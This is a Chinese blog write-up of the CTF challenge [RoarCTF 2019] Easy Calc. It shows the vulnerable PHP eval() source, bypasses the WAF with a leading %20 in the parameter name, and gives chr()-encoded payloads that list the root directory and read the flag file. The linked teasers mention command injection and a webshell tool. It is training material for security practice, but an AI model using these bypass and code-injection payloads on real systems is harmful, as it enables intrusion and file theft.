当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_web_第13题:[RoarCTF 2019]Easy Calc

七星3个月前 (01-23)BUU110


打开题, 发现是个计算器,传入表达式,计算结果,乍一看没啥问题

然后祖传的f12, 首先看到的就是一个祖传的注释:

<!--I've set up WAF to ensure security.--> 

说是有waf

接着发现了一个js, js里有个calc.php什么什么鬼的文件,打开看看

啊,代码审计审计计....

那就审嘛:

<?php

error_reporting(0);
if(!isset(
$_GET['num'])){
   show_source(__FILE__);
}else{
   $str = $_GET['num'];
   $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
   foreach (
$blacklist as $blackitem) {
      if (
preg_match('/' . $blackitem . '/m', $str)) {
         die(
"what are you want to do?");
      }
   }
   eval(
'echo '.$str.';');
}
?>

原来他的waf是过滤了一些字符, 但是通过之前的尝试发现, num根本不让传入特殊字符及字母.

那么waf就不简单是上面的过滤了, 可能是第三方软件.

越是不让的东西就越该尝试,不让num传入字符字母,那就想办法传.

这里讲一个字符串解析:

在PHP传入参数时会把传入的参数变成数组,比如 /?num=4 会变成 Array([num] => "bar") 

但是但是, 传入的字符串在解析的过程中会将某些字符删除或用下划线代替

例如 /?%20num[id=42 会转换为 Array([num_id] => 42)

如果一个IDS/IPS/WAF中有一条规则是: 当num_id参数的值是一个非数字的值,则拦截

那么我们就可以用以下语句绕过:

/calc.php?%20num[id=阿巴阿巴阿巴;

这样, PHP语句的参数%20news[id的值将直接存储到$_GET[“num_id”]中,即:

Array([num_id] => 阿巴阿巴阿巴), 从而不会通过IDS/IPS/WAF的检测。

所以这个题绕过waf的方法就是,字符串解析漏洞, 在num前面加个空格, url编码就是%20,即:

/calc.php?%20num=

绕过之后, 就是用eval来执行php函数.我们获取当前目录,看看有没有flag文件:

/calc.php?%20num=scandir(/);

但是发现被waf过滤了, 他过滤了/, 所以我们可以用chr(47)来代替"/":

/calc.php?%20num=scandir(chr(47));

返回一个Array, 哦哦没有打印, 那就var_dump()一下:

/calc.php?%20num=var_dump(scandir(chr(47)))

可以看见有f1agg这个文件,直接用var_dump(file_get_contents())读取:

var_dump(file_get_contents("/f1agg"))

过滤了"这, 那就用chr():

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

直接获取flag

七星比特|qixingbit.com

相关文章

BUUCTF_web_第一题: [HCTF 2018]WarmUp

BUUCTF_web_第一题: [HCTF 2018]WarmUp

第一题: [HCTF 2018]WarmUp f12, 注释里有个文件, 访问, 成功获得审计代码. 审计代码里有个hint.php, 打开, 成功获得ffffllllaaaagggg,...

BUUCTF_web_第12题:[极客大挑战 2019]Knife

BUUCTF_web_第12题:[极客大挑战 2019]Knife

本题考查了中国菜刀的使用, 及简单一句话理解阅读题目打开, 发现给了一句话:直接用中国菜刀连上:在根目录下直接找到了flag...

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

开局一直猫, flag全靠f12:<!--˂!----˃$cat=$_GET['cat'];echo $cat;if($cat=='dog'){    echo 'Syc{c...

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

是个ping, 传入/?ip=127.0.0.1看看命令执行, 立刻想到||管道符:/?ip=127.0.0.1||ls不行, 那就封号;/?ip=127.0.0.1;ls成功获得两个文件名flag....

BUUCTF_web_第七题:[极客大挑战 2019]Secret File

BUUCTF_web_第七题:[极客大挑战 2019]Secret File

f12, 获得Archive_room.php访问, 嗯, 他说什么什么快没看清, 不要紧, 我们可以让他慢下来开burpsuite, 抓取回显包, 得到secr3t.php访问,成功获得源码high...

BUUCTF_web_第15题:[极客大挑战 2019]PHP_序列化详解

BUUCTF_web_第15题:[极客大挑战 2019]PHP_序列化详解

打开题目, 有个猫, 先云吸个猫再说. 然后提到了备份网站. 既然是备份那自然想到的是www.rar或者zip之类的, 再不行就爆破一下路径也就出来了, 这个题是www.zip, 直接访问,...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。